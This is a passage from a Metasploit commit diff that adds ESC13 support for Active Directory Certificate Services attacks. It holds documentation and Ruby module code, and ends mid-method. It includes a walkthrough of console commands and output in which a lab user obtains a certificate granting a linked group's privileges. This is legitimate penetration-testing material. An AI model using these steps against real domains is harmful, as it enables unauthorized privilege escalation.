Land #18892, Add AD CS Updates for ESC13
This PR adds functionality to enable Metasploit users to be able to exploit the latest ESC technique, ESC13.
This commit is contained in:
commit
4b54d43db5
|
@ -224,6 +224,7 @@ queries:
|
|||
- adminCount
|
||||
- managedBy
|
||||
- groupAttributes
|
||||
- objectSID
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- action: ENUM_GROUP_POLICY_OBJECTS
|
||||
|
|
|
@ -32,7 +32,7 @@ exclude:
|
|||
# just-the-docs config
|
||||
mermaid_enabled: true
|
||||
mermaid:
|
||||
version: "9.2.2"
|
||||
version: "10.8.0"
|
||||
heading_anchors: true
|
||||
aux_links_new_tab: true
|
||||
aux_links:
|
||||
|
|
|
@ -5,18 +5,39 @@ for testing purposes.
|
|||
# Introduction to AD CS Vulnerabilities
|
||||
```mermaid
|
||||
flowchart TD
|
||||
escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
|
||||
icpr[Issue certificates via icpr_cert] --> ESC1{{ESC1}}
|
||||
ESC1{{ESC1}} -- Via PKINIT --> pkinit{Authenticate to Kerberos}
|
||||
icpr[Issue certificates via icpr_cert] --> users[Request certificates on behalf of other users]
|
||||
users[Request certificates on behalf of other users] --> ESC2{{ESC2}}
|
||||
users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
|
||||
ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
|
||||
subgraph ad_cs_cert_templates[<b>ad_cs_cert_templates</b>]
|
||||
ESC4(ESC4)
|
||||
update_template[<i>Update Template</i>]
|
||||
ESC4 --> update_template
|
||||
end
|
||||
subgraph icpr_cert[<b>icpr_cert</b>]
|
||||
ESC1(ESC1)
|
||||
ESC2(ESC2)
|
||||
ESC3(ESC3)
|
||||
ESC13(ESC13)
|
||||
alt_subject[<i>Alternate Subject Issuance</i>]
|
||||
as_eagent[<i>Enrollment Agent Issuance</i>]
|
||||
normal[<i>Normal Issuance</i>]
|
||||
|
||||
ESC1 --> alt_subject
|
||||
ESC2 --> as_eagent
|
||||
ESC3 --> as_eagent
|
||||
ESC13 --> normal
|
||||
as_eagent -- use new certificate --> normal
|
||||
end
|
||||
subgraph kerberos/get_ticket[<b>kerberos/get_ticket</b>]
|
||||
PKINIT[<i>PKINIT</i>]
|
||||
end
|
||||
subgraph ldap_esc_vulnerable_cert_finder[<b>ldap_ecs_vulnerable_cert_finder</b>]
|
||||
find_vulnerable_templates[<i>Find Vulnerable Templates</i>]
|
||||
end
|
||||
alt_subject --> PKINIT
|
||||
find_vulnerable_templates --> icpr_cert
|
||||
normal --> PKINIT
|
||||
update_template --> ESC1
|
||||
```
|
||||
|
||||
The chart above showcases how one can go about attacking four common AD CS
|
||||
The chart above showcases how one can go about attacking five unique AD CS
|
||||
vulnerabilities, taking advantage of various flaws in how certificate templates are
|
||||
configured on an Active Directory Certificate Server.
|
||||
|
||||
|
@ -30,8 +51,7 @@ administrator via Kerberos.
|
|||
Each certificate template vulnerability that will be discussed here has a ESC code, such
|
||||
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
|
||||
SpecterOps published which popularized these certificate template attacks, known as
|
||||
[Certified
|
||||
Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||
[Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
|
||||
attacks that they found they could conduct via misconfigured certificate templates:
|
||||
|
||||
|
@ -52,29 +72,30 @@ attacks that they found they could conduct via misconfigured certificate templat
|
|||
- ESC7 - Vulnerable Certificate Authority Access Control
|
||||
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
|
||||
|
||||
Later, another
|
||||
[blog](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
came out from Oliver Lyak which discovered ESC9 and ESC10, two more vulnerabilities that
|
||||
could allow normal domain joined users to abuse certificate template misconfigurations to
|
||||
gain domain administrator privileges.
|
||||
Later, additional techniques were disclosed by security researchers:
|
||||
|
||||
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in
|
||||
`msPKI-EnrollmentFlag`. Also `StrongCertificateBindingEnforcement` not set to 2 or
|
||||
`CertificateMappingMethods` contains `UPN` flag.
|
||||
- ESC10 - Weak Certificate Mappings -
|
||||
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
||||
CertificateMappingMethods` contains `UPN` bit aka `0x4` or
|
||||
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement` is set to `0`.
|
||||
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in `msPKI-EnrollmentFlag`. Also
|
||||
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
|
||||
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
||||
CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
|
||||
StrongCertificateBindingEnforcement` is set to `0`.
|
||||
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
|
||||
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
- [Relaying to AD Certificate Services over
|
||||
RPC](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
|
||||
- ESC12 - A user with shell access to a CA server using a YubiHSM2 hardware security module can access the CA's private
|
||||
key.
|
||||
- [Shell access to ADCS CA with YubiHSM](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
|
||||
- ESC13 - Domain escalation via issuance policies with group links.
|
||||
- [ADCS ESC13 Abuse Technique](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc13]]
|
||||
|
||||
Finally, we have ESC11, which was discovered by Compass Security and described in their
|
||||
[blog
|
||||
post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
|
||||
interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
|
||||
this page only covers exploiting ESC1 to ESC4 at this time.
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4 and ESC13. As such,
|
||||
this page only covers exploiting ESC1 through ESC4 and ESC13 at this time.
|
||||
|
||||
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
|
||||
as the diagram notes above. This is because in ESC1, one has control over the
|
||||
|
@ -134,7 +155,9 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
|
|||
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
|
||||
which users or groups can use that certificate template to elevate their privileges.
|
||||
|
||||
At this time, the module is capable of identifying techniques ESC1 through ESC3.
|
||||
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and ESC13. The
|
||||
module is limited to checking for these techniques due to them being identifiable remotely from a normal user account by
|
||||
analyzing the objects in LDAP.
|
||||
|
||||
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
|
||||
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
|
||||
|
@ -858,6 +881,67 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
|||
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
|
||||
used to authenticate to Active Directory as the Domain Admin.
|
||||
|
||||
# Exploiting ESC13
|
||||
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
|
||||
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
|
||||
administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
|
||||
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
|
||||
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
|
||||
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
|
||||
ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||
...
|
||||
[*] Template: ESC13-Test
|
||||
[*] Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
|
||||
[*] Vulnerable to: ESC13
|
||||
[*] Notes: ESC13 groups: ESC13-Group
|
||||
[*] Certificate Template Enrollment SIDs:
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-513 (Domain Users)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
|
||||
[*] Issuing CAs:
|
||||
[*] * collalabs1-SRV-ADDS01-CA
|
||||
[*] Server: SRV-ADDS01.collalabs1.local
|
||||
[*] Enrollment SIDs:
|
||||
[*] * S-1-5-11 (Authenticated Users)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
|
||||
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
|
||||
```
|
||||
|
||||
In this case, the ticket can be issued with the `icpr_cert` module. No additional options are required to issue the
|
||||
certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
|
||||
SMBDomain => COLLALABS1
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
|
||||
CA => collalabs1-SRV-ADDS01-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
|
||||
CERT_TEMPLATE => ESC13-Test
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[+] 172.30.239.85:445 - The requested certificate was issued.
|
||||
[*] 172.30.239.85:445 - Certificate Email: normaluser@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3474343397-3755413101-2031708755-10051
|
||||
[*] 172.30.239.85:445 - Certificate UPN: normaluser@collalabs1.local
|
||||
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group`
|
||||
RID present in the Groups field of the TGT PAC.
|
||||
|
||||
# Authenticating With A Certificate
|
||||
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
|
||||
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
|
||||
|
|
|
@ -51,14 +51,24 @@ module Msf
|
|||
|
||||
def generate_rex_tables(entry, format)
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => entry[:dn][0].split(',').join(' '),
|
||||
'Header' => entry[:dn].first,
|
||||
'Indent' => 1,
|
||||
'Columns' => %w[Name Attributes]
|
||||
'Columns' => %w[Name Attributes],
|
||||
'ColProps' => { 'Name' => { 'Strip' => false } },
|
||||
'SortIndex' => -1,
|
||||
'WordWrap' => false
|
||||
)
|
||||
|
||||
entry.each_key do |attr|
|
||||
entry.keys.sort.each do |attr|
|
||||
if format == 'table'
|
||||
tbl << [attr, entry[attr].join(' || ')] unless attr == :dn # Skip over DN entries for tables since DN information is shown in header.
|
||||
next if attr == :dn # Skip over DN entries for tables since DN information is shown in header.
|
||||
|
||||
tbl << [attr, entry[attr].first]
|
||||
if entry[attr].length > 1
|
||||
entry[attr][1...].each do |additional_attr|
|
||||
tbl << [ ' \\_', additional_attr]
|
||||
end
|
||||
end
|
||||
else
|
||||
tbl << [attr, entry[attr].join(' || ')] # DN information is not shown in CSV output as a header so keep DN entries in.
|
||||
end
|
||||
|
|
|
@ -0,0 +1,78 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rasn1'.freeze
|
||||
require 'rex/proto/crypto_asn1/types'
|
||||
|
||||
module Rex::Proto::CryptoAsn1
|
||||
class ObjectId < OpenSSL::ASN1::ObjectId
|
||||
attr_reader :label, :name
|
||||
def initialize(*args, label: nil, name: nil)
|
||||
@label = label
|
||||
@name = name
|
||||
super(*args)
|
||||
end
|
||||
|
||||
def eql?(other)
|
||||
return false unless other.is_a?(self.class)
|
||||
return false unless other.value == value
|
||||
true
|
||||
end
|
||||
|
||||
alias == eql?
|
||||
|
||||
# Returns whether or not this OID is one of Microsoft's
|
||||
def microsoft?
|
||||
@value.start_with?('1.3.6.1.4.1.311.') || @value == '1.3.6.1.4.1.311'
|
||||
end
|
||||
end
|
||||
|
||||
class OIDs
|
||||
# see: https://learn.microsoft.com/en-us/windows/win32/api/certenroll/nn-certenroll-ix509extensionenhancedkeyusage
|
||||
# see: https://www.pkisolutions.com/object-identifiers-oid-in-pki/
|
||||
OID_ANY_APPLICATION_POLICY = ObjectId.new('1.3.6.1.4.1.311.10.12.1', name: 'OID_ANY_APPLICATION_POLICY')
|
||||
OID_AUTO_ENROLL_CTL_USAGE = ObjectId.new('1.3.6.1.4.1.311.20.1', name: 'OID_AUTO_ENROLL_CTL_USAGE', label: 'CTL Usage')
|
||||
OID_DRM = ObjectId.new('1.3.6.1.4.1.311.10.5.1', name: 'OID_DRM', label: 'Digital Rights')
|
||||
OID_DS_EMAIL_REPLICATION = ObjectId.new('1.3.6.1.4.1.311.21.19', name: 'OID_DS_EMAIL_REPLICATION', label: 'Directory Service Email Replication')
|
||||
OID_EFS_RECOVERY = ObjectId.new('1.3.6.1.4.1.311.10.3.4.1', name: 'OID_EFS_RECOVERY', label: 'File Recovery')
|
||||
OID_EMBEDDED_NT_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.8', name: 'OID_EMBEDDED_NT_CRYPTO', label: 'Embedded Windows System Component Verification')
|
||||
OID_ENROLLMENT_AGENT = ObjectId.new('1.3.6.1.4.1.311.20.2.1', name: 'OID_ENROLLMENT_AGENT', label: 'Certificate Request Agent')
|
||||
OID_IPSEC_KP_IKE_INTERMEDIATE = ObjectId.new('1.3.6.1.5.5.8.2.2', name: 'OID_IPSEC_KP_IKE_INTERMEDIATE', label: 'IP Security IKE Intermediate')
|
||||
OID_KP_CA_EXCHANGE = ObjectId.new('1.3.6.1.4.1.311.21.5', name: 'OID_KP_CA_EXCHANGE', label: 'Private Key Archival')
|
||||
OID_KP_CTL_USAGE_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.1', name: 'OID_KP_CTL_USAGE_SIGNING', label: 'Microsoft Trust List Signing')
|
||||
OID_KP_DOCUMENT_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.12', name: 'OID_KP_DOCUMENT_SIGNING', label: 'Document Signing')
|
||||
OID_KP_EFS = ObjectId.new('1.3.6.1.4.1.311.10.3.4', name: 'OID_KP_EFS', label: 'Encrypting File System')
|
||||
OID_KP_KEY_RECOVERY = ObjectId.new('1.3.6.1.4.1.311.10.3.11', name: 'OID_KP_KEY_RECOVERY', label: 'Key Recovery')
|
||||
OID_KP_KEY_RECOVERY_AGENT = ObjectId.new('1.3.6.1.4.1.311.21.6', name: 'OID_KP_KEY_RECOVERY_AGENT', label: 'Key Recovery Agent')
|
||||
OID_KP_LIFETIME_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.13', name: 'OID_KP_LIFETIME_SIGNING', label: 'Lifetime Signing')
|
||||
OID_KP_QUALIFIED_SUBORDINATION = ObjectId.new('1.3.6.1.4.1.311.10.3.10', name: 'OID_KP_QUALIFIED_SUBORDINATION', label: 'Qualified Subordination')
|
||||
OID_KP_SMARTCARD_LOGON = ObjectId.new('1.3.6.1.4.1.311.20.2.2', name: 'OID_KP_SMARTCARD_LOGON', label: 'Smart Card Logon')
|
||||
OID_KP_TIME_STAMP_SIGNING = ObjectId.new('1.3.6.1.4.1.311.10.3.2', name: 'OID_KP_TIME_STAMP_SIGNING', label: 'Microsoft Time Stamping')
|
||||
OID_LICENSE_SERVER = ObjectId.new('1.3.6.1.4.1.311.10.6.2', name: 'OID_LICENSE_SERVER', label: 'License Server Verification')
|
||||
OID_LICENSES = ObjectId.new('1.3.6.1.4.1.311.10.6.1', name: 'OID_LICENSES', label: 'Key Pack Licenses')
|
||||
OID_NT5_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.7', name: 'OID_NT5_CRYPTO', label: 'OEM Windows System Component Verification')
|
||||
OID_OEM_WHQL_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.7', name: 'OID_OEM_WHQL_CRYPTO', label: 'OEM Windows System Component Verification')
|
||||
OID_PKIX_KP_CLIENT_AUTH = ObjectId.new('1.3.6.1.5.5.7.3.2', name: 'OID_PKIX_KP_CLIENT_AUTH', label: 'Client Authentication')
|
||||
OID_PKIX_KP_CODE_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.3', name: 'OID_PKIX_KP_CODE_SIGNING', label: 'Code Signing')
|
||||
OID_PKIX_KP_EMAIL_PROTECTION = ObjectId.new('1.3.6.1.5.5.7.3.4', name: 'OID_PKIX_KP_EMAIL_PROTECTION', label: 'Secure Email')
|
||||
OID_PKIX_KP_IPSEC_END_SYSTEM = ObjectId.new('1.3.6.1.5.5.7.3.5', name: 'OID_PKIX_KP_IPSEC_END_SYSTEM', label: 'IP Security End System')
|
||||
OID_PKIX_KP_IPSEC_TUNNEL = ObjectId.new('1.3.6.1.5.5.7.3.6', name: 'OID_PKIX_KP_IPSEC_TUNNEL', label: 'IP Security Tunnel Termination')
|
||||
OID_PKIX_KP_IPSEC_USER = ObjectId.new('1.3.6.1.5.5.7.3.7', name: 'OID_PKIX_KP_IPSEC_USER', label: 'IP Security User')
|
||||
OID_PKIX_KP_OCSP_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.9', name: 'OID_PKIX_KP_OCSP_SIGNING', label: 'OCSP Signing')
|
||||
OID_PKIX_KP_SERVER_AUTH = ObjectId.new('1.3.6.1.5.5.7.3.1', name: 'OID_PKIX_KP_SERVER_AUTH', label: 'Server Authentication')
|
||||
OID_PKIX_KP_TIMESTAMP_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.8', name: 'OID_PKIX_KP_TIMESTAMP_SIGNING', label: 'Time Stamping')
|
||||
OID_ROOT_LIST_SIGNER = ObjectId.new('1.3.6.1.4.1.311.10.3.9', name: 'OID_ROOT_LIST_SIGNER', label: 'Root List Signer')
|
||||
OID_WHQL_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.5', name: 'OID_WHQL_CRYPTO', label: 'Windows Hardware Driver Verification')
|
||||
|
||||
def self.name(value)
|
||||
value = ObjectId.new(value) if value.is_a?(String)
|
||||
|
||||
constants.select { |c| c.start_with?('OID_') }.find{ |c| const_get(c) == value }
|
||||
end
|
||||
|
||||
def self.value(value)
|
||||
name = self.name(value)
|
||||
return nil unless name
|
||||
|
||||
const_get(name)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -121,7 +121,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def get_certificate_template
|
||||
obj = ldap_get(
|
||||
"(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pkicertificatetemplate))",
|
||||
"(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pKICertificateTemplate))",
|
||||
base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
|
||||
controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)]
|
||||
)
|
||||
|
@ -149,6 +149,35 @@ class MetasploitModule < Msf::Auxiliary
|
|||
Rex::Proto::MsDtyp::MsDtypSid.read(obj['objectsid'].first)
|
||||
end
|
||||
|
||||
def get_pki_oids
|
||||
return @pki_oids if @pki_oids.present?
|
||||
|
||||
raw_objs = @ldap.search(
|
||||
base: "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
|
||||
filter: '(objectClass=msPKI-Enterprise-OID)'
|
||||
)
|
||||
validate_query_result!(@ldap.get_operation_result.table)
|
||||
return nil unless raw_objs
|
||||
|
||||
@pki_oids = []
|
||||
raw_objs.each do |raw_obj|
|
||||
obj = {}
|
||||
raw_obj.attribute_names.each do |attr|
|
||||
obj[attr.to_s] = raw_obj[attr].map(&:to_s)
|
||||
end
|
||||
|
||||
@pki_oids << obj
|
||||
end
|
||||
@pki_oids
|
||||
end
|
||||
|
||||
def get_pki_oid_displayname(oid)
|
||||
oid_obj = get_pki_oids.find { |o| o['mspki-cert-template-oid'].first == oid }
|
||||
return nil unless oid_obj && oid_obj['displayname'].present?
|
||||
|
||||
oid_obj['displayname'].first
|
||||
end
|
||||
|
||||
def dump_to_json(template)
|
||||
json = {}
|
||||
|
||||
|
@ -393,11 +422,34 @@ class MetasploitModule < Msf::Auxiliary
|
|||
if obj['pkiextendedkeyusage'].present?
|
||||
print_status(' pKIExtendedKeyUsage:')
|
||||
obj['pkiextendedkeyusage'].each do |value|
|
||||
if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?
|
||||
print_status(" * #{value} (#{oid.label})")
|
||||
else
|
||||
print_status(" * #{value}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if obj['mspki-certificate-policy'].present?
|
||||
if obj['mspki-certificate-policy'].length == 1
|
||||
if (oid_name = get_pki_oid_displayname(obj['mspki-certificate-policy'].first)).present?
|
||||
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first} (#{oid_name})")
|
||||
else
|
||||
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first}")
|
||||
end
|
||||
else
|
||||
print_status(' msPKI-Certificate-Policy:')
|
||||
obj['mspki-certificate-policy'].each do |value|
|
||||
if (oid_name = get_pki_oid_displayname(value)).present?
|
||||
print_status(" * #{value} (#{oid_name})")
|
||||
else
|
||||
print_status(" * #{value}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def action_update
|
||||
obj = get_certificate_template
|
||||
new_configuration = load_local_template
|
||||
|
|
|
@ -2,6 +2,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
|
||||
ADS_GROUP_TYPE_BUILTIN_LOCAL_GROUP = 0x00000001
|
||||
ADS_GROUP_TYPE_GLOBAL_GROUP = 0x00000002
|
||||
ADS_GROUP_TYPE_DOMAIN_LOCAL_GROUP = 0x00000004
|
||||
ADS_GROUP_TYPE_SECURITY_ENABLED = 0x80000000
|
||||
ADS_GROUP_TYPE_UNIVERSAL_GROUP = 0x00000008
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
|
@ -18,13 +24,17 @@ class MetasploitModule < Msf::Auxiliary
|
|||
allows enrollment in and which SIDs are authorized to use that certificate server to
|
||||
perform this enrollment operation.
|
||||
|
||||
Currently the module is capable of checking for ESC1, ESC2, and ESC3 vulnerable certificates.
|
||||
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and
|
||||
ESC13. The module is limited to checking for these techniques due to them being identifiable remotely from a
|
||||
normal user account by analyzing the objects in LDAP.
|
||||
},
|
||||
'Author' => [
|
||||
'Grant Willcox', # Original module author
|
||||
'Spencer McIntyre' # ESC13 update
|
||||
],
|
||||
'References' => [
|
||||
'URL' => 'https://posts.specterops.io/certified-pre-owned-d95910965cd2'
|
||||
[ 'URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ],
|
||||
[ 'URL', 'https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53' ] # ESC13
|
||||
],
|
||||
'DisclosureDate' => '2021-06-17',
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -97,25 +107,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def query_ldap_server(raw_filter, attributes, base_prefix: nil)
|
||||
ldap_connect do |ldap|
|
||||
validate_bind_success!(ldap)
|
||||
|
||||
if !@base_dn.blank?
|
||||
vprint_status("Using already discovered base DN: #{@base_dn}")
|
||||
elsif (@base_dn = datastore['BASE_DN'])
|
||||
print_status("User-specified base DN: #{@base_dn}")
|
||||
else
|
||||
print_status('Discovering base DN automatically')
|
||||
|
||||
unless (@base_dn = discover_base_dn(ldap))
|
||||
print_warning("Couldn't discover base DN!")
|
||||
end
|
||||
end
|
||||
|
||||
if @base_dn.blank?
|
||||
fail_with(Failure::BadConfig, 'No base DN was found or specified, cannot continue!')
|
||||
end
|
||||
|
||||
if base_prefix.blank?
|
||||
full_base_dn = @base_dn.to_s
|
||||
else
|
||||
|
@ -145,32 +136,21 @@ class MetasploitModule < Msf::Auxiliary
|
|||
controls = []
|
||||
controls << [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence
|
||||
|
||||
returned_entries = ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)
|
||||
query_result_table = ldap.get_operation_result.table
|
||||
|
||||
returned_entries = @ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)
|
||||
query_result_table = @ldap.get_operation_result.table
|
||||
validate_query_result!(query_result_table, filter)
|
||||
|
||||
if returned_entries.blank?
|
||||
vprint_error("No results found for #{filter}.")
|
||||
|
||||
nil
|
||||
else
|
||||
return nil if returned_entries.empty?
|
||||
|
||||
returned_entries
|
||||
end
|
||||
end
|
||||
rescue Rex::ConnectionTimeout
|
||||
fail_with(Failure::Unreachable, "Couldn't reach #{datastore['RHOST']}!")
|
||||
rescue Net::LDAP::Error => e
|
||||
fail_with(Failure::UnexpectedReply, "Could not query #{datastore['RHOST']}! Error was: #{e.message}")
|
||||
end
|
||||
|
||||
def query_ldap_server_certificates(esc_raw_filter, esc_name)
|
||||
attributes = ['cn', 'description', 'ntSecurityDescriptor']
|
||||
base_prefix = 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
|
||||
esc_entries = query_ldap_server(esc_raw_filter, attributes, base_prefix: base_prefix)
|
||||
|
||||
if esc_entries.blank?
|
||||
if esc_entries.empty?
|
||||
print_warning("Couldn't find any vulnerable #{esc_name} templates!")
|
||||
return
|
||||
end
|
||||
|
@ -191,7 +171,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
if @vuln_certificate_details.key?(certificate_symbol)
|
||||
@vuln_certificate_details[certificate_symbol][:vulns] << esc_name
|
||||
else
|
||||
@vuln_certificate_details[certificate_symbol] = { vulns: [esc_name], dn: entry[:dn][0], certificate_enrollment_sids: convert_sids_to_human_readable_name(allowed_sids), ca_servers_n_enrollment_sids: {} }
|
||||
@vuln_certificate_details[certificate_symbol] = { vulns: [esc_name], dn: entry[:dn][0], certificate_enrollment_sids: convert_sids_to_human_readable_name(allowed_sids), ca_servers_n_enrollment_sids: {}, notes: [] }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -300,6 +280,65 @@ class MetasploitModule < Msf::Auxiliary
|
|||
query_ldap_server_certificates(esc3_template_2_raw_filter, 'ESC3_TEMPLATE_2')
|
||||
end
|
||||
|
||||
def find_esc13_vuln_cert_templates
|
||||
esc_raw_filter = <<~FILTER
|
||||
(&
|
||||
(objectclass=pkicertificatetemplate)
|
||||
(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))
|
||||
(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))
|
||||
(mspki-certificate-policy=*)
|
||||
)
|
||||
FILTER
|
||||
attributes = ['cn', 'description', 'ntSecurityDescriptor', 'msPKI-Certificate-Policy']
|
||||
base_prefix = 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
|
||||
